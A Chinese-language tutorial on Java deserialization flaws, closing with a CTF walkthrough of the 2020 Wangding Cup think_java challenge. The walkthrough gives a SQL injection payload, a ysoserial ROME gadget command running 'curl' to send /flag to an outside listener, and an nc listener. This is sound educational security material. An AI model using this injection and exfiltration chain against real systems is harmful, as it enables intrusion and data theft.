0x00 漏洞原理
我们需要保存某一个对象的某一一个时间的状态信息,进行一些操作,比如利用反序列化将程序运行的对象状态以二进制形式储存在文件系统中,然后可以在另外一个程序中对序列化后的对象状态数据进行反序列化操作回复对象,可以有效的实现多平台之间的通信,对象持久化储存。
0x01 漏洞必备*知识点*
#序列化和反序列化
序列化 (Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。
反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。
必备知识点:
JAVA序列化实现函数:
序列化:ObjectOutputStream–writeObject() 将序列字节写到对象中 JAVA约定是给文件.ser拓展名 反序列化:ObjectInputStream–readOject() 从输入流中读取字节序列,再将其反序列化,返回JAVA序列化数据流特征:
加密便于传输,不加密不容易阅读传输,
数据流以为rO0AB开端,就是JAVA序列化的base64 加密 aced开端,JAVA序列化的16进制涉及到以下函数,则考虑JAVA反序列化:
ObjectInputStream.readobject
ObjectInputStream.readUnshared
XMLDecoder.readObject
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject …
0x03 漏洞检测利用
1)黑盒检测
数据格式点:
HTTP中请求的参数
自定义协议
RMI协议:RMI使用Java语言 接口 定义了远程对象,它集合了Java序列化和Java远程方法协议 ,简单地说,这样使原先的程序在同一操作系统的方法调用,变成了不同操作系统之间程序的方法调用,由于J2EE是分布式程序平台,它以RMI机制实现程序组件在不同操作系统之间的通信。
…
2)白盒检测
函数点:
涉及到下列函数可能设计JAVA反序列化
ObjectInputStream.readobject
ObjectInputStream.readUnshared
XMLDecoder.readObject
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject …
3)利用
这里推荐一款只要涉及到JAVA反序列化一定会遇到的ysoserial
ysoserial是一款在Github开源的知名java反序列化利用工具,里面集合了各种java反序列化payload;
由于其中部分payload使用到的低版本JDK中的类,所以建议自己私下分析学习时使用低版本JDK JDK版本建议在1.7u21以下。
0x04 漏洞真题
2020-网鼎杯-think_java-朱雀组反序列化思路,
0x01 注入判断,获取管理员帐号密码:
根据提示附件进行javaweb代码审计,发现可能存在注入漏洞
另外有swagger开发接口,测试注入漏洞及访问接口进行调用测试
数据库名:myapp,列名name,pwd
注入测试:
POST /common/test/sqlDict
dbName=myapp?a=’ union select (select pwd from user)#
0x02 接口测试
/swagger-ui.html接口测试:
{
“password”:“ctfhub_29588_13038”,
“username”: “ctfhub”
}
登录成功返回数据:
{
“data”: “Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==”,
“msg”: “登录成功”,
“status”: 2,
“timestamps”: 1594549037415
}
0x03 回显数据分析攻击思路
JAVAWEB特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么就是这一段java序列化的16进制。
分析数据:
先利用py2脚本base64解密数据
import base64
a = “rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu”
b = base64.b64decode(a).encode(‘hex’)
print(b)
再利用SerializationDumper解析数据
java -jar SerializationDumper.jar base64后的数据
0x04 生成反序列化payload
解密后数据中包含帐号等信息,通过接口/common/user/current分析可知数据有接受,说明存在反序列化操作,思路:将恶意代码进行序列化后进行后续操作
利用ysoserial进行序列化生成
java -jar ysoserial-master-30099844c6-1.jar ROME “curl http://10.10.10.10:4444 -d @/flag” > xiaodi.bin #准备服务器反弹shell
利用py2脚本进行反序列化数据的提取
import base64
file = open(“xiaodi.bin”,“rb”)
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
0x05 触发反序列化,获取flag
服务器执行:nc -lvvp 4444
数据包直接请求获取进行反序列数据加载操作
以上是题目思路,
网鼎杯确实鼎,反序列化还要加强学习/
太菜了太菜了
最重要最基础的一点需要知道JAVA反序列化数据流特征,以及相关函数